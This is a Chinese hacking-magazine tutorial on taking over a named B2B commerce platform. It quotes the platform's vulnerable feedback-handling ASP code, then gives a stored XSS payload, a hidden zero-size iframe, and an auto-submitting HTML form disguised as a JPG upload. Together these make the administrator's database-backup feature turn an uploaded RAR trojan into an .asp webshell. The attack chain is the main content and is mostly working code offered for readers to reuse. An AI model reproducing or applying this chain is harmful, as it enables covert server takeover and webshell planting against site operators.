申明:本文已发表黑客手册,转载请注名版权,此文版权归樱花浪子和黑客手册所有. ! 转载请注明!
时间过的真快,记得在07年1月份我写过一篇关于跨站添加管理员的文章,上期又给大家带来一期跨站的文章,小天对我那句话比较赞同,跨站的威力是不比注入小的,注入如果遇见SQL数据库还好说, ACC的也就能老老实实猜密码,进后台,在利用后台某个功能得WEBSHELL……说了几句题外话,下面我们 一起来跨出WEBSHELL,OK,LET’S GO。 这里以网域高科行业B2B商务平台来测试一下,这套程序是修改阿里巴巴的程序,防注入做的比较好,但是在leaveword_save.asp文件里有一些变量没有过虑,下面是7到43行代码: book_user=request.form("book_user") book_contact=request.form("book_contact") book_content=request.form("book_content") if sortid="" or tableid="" or ypid="" then response.write "<script>alert(’未知错误’);window.close();</Script>" response.End() end if if book_user="" or len(book_user)<2 or len(book_user)>16 then response.write "<script>alert(’反馈出错,下面是产生错误的可能原因:\n\n·请输入 2-16 位字符的用户名!’);window.close();</Script>" response.End() end if if book_contact="" or len(book_contact)<5 or len(book_contact)>40 then response.write "<script>alert(’反馈出错,下面是产生错误的可能原因:\n\n·请输入 5-40 位字符的联系方式!’);window.close();</Script>" response.End() end if if book_content="" or len(book_content)<5 or len(book_content)>100 then response.write "<script>alert(’反馈出错,下面是产生错误的可能原因:\n\n·请输入 10-100 位字符的反馈内容!’);window.close();</Script>" response.End() end if set rs=Server.CreateObject("Adodb.Recordset") sql="select * from SMT_leaveword" rs.open sql,conn,1,3 rs.addnew rs("SMT_book_user")=book_user rs("SMT_book_contact")=book_contact rs("SMT_book_content")=book_content ’就用它吧,100个字符满够用了 rs("SMT_book_sort")=sortid rs("SMT_book_table")=tableid rs("SMT_book_ypid")=ypid rs.update rs.close set rs=nothing response.write "<script>alert(’反馈成功,谢谢您的参与!’);window.close();</Script>" response.End() %> 可以看出就是做了一些判断是否为空,和字数上的限制,不过book_content限制提交字数是100个,这对于我们来说已经足够了。
首先我们注册个用户,在意见反馈里填入跨站语句,如图1所示,这样直接在后台就会执行,如图2所示。

 这样当然我们就可以做很多事情了,比如说像添加个管理员,不过以前已经写过所以就不在重复了,这个后台有数据库备份功能,我们要做的是利用管理员身份替我们备份出一个WEBSHELL来,先看看他的数据库备份代码是怎么写地,在admin\System\admin_backdb.asp文件中的108到129代码如下: <form name="form1" method="POST" action="admin_backdb.asp?action=back"> <table width="100%" border="1" align="center" cellpadding="5" cellspacing="0" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"> <tr> <td bgcolor="#efefef" height=25><strong>备份数据库</strong></td> </tr> <tr> <td height=25>你的空间只有支持fso才可以进行如下操作,否则你只能手动备份</td> </tr> <tr> <td height=25>数据库路径: <input type="text" name="currf" size="30" value="<%=db%>"></span> 备份数据目录: <input type="text" name="backf" size="20" value="mdbback"></td> </tr> <tr> <td height=25>数据库名称: <input type="text" name="backfy" size="20" value="back.asp"> <input type="submit" name="Submit" value="备份" > <input type="reset" name="Submit2" value="重置" > </td> </tr> </table> </form> 我们可以先上传一个RAR的马儿,然后在数据库路径里填上,马的地址为:"/oledit/UploadFile/200712/2007121544821758.rar",这里需要注意的是路径一定要填对,否则备份就会不成功的。改动好的代码如下: <html> <form name="form" method="POST" action="../../../admin/System/admin_backdb.asp?action=back"> <table width="100%" border="1" align="center" cellpadding="5" cellspacing="0" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"> <tr> <td bgcolor="#efefef" height=25><strong>备份数据库</strong></td> </tr> <tr> <td height=25>你的空间只有支持fso才可以进行如下操作,否则你只能手动备份</td> </tr> <tr> <td height=25>数据库路径: <input type="text" name="currf" size="30" value="../../oledit/UploadFile/200712/2007121544821758.rar"></span> 备份数据目录: <input type="text" name="backf" size="20" value="hacklu"></td> </tr> <tr> <td height=25>数据库名称: <input type="text" name="backfy" size="20" value="hacklu.asp"> <input type="submit" name="Submit" value="备份" > </td> </tr> </table> </form> <script>document.form.submit()</script> </html> 把这个保存为XX.jpg上传到服务器,因为HTML改成JPG是可以解析的,路径为:oledit/UploadFile/200712/200712155756468.jpg,在 意见反馈里写上如下挂马语句:<iframe src="../oledit/UploadFile/200712/200712155756468.jpg" width=0 height=0></iframe>如图3,这样当管理员看到时就会自动备份出WEBSHELL来了,如图4,图5所示。



其实跨站还有很多可以做到的事,限于小天摧稿比较急,剩下的留给大家去挖掘吧。
|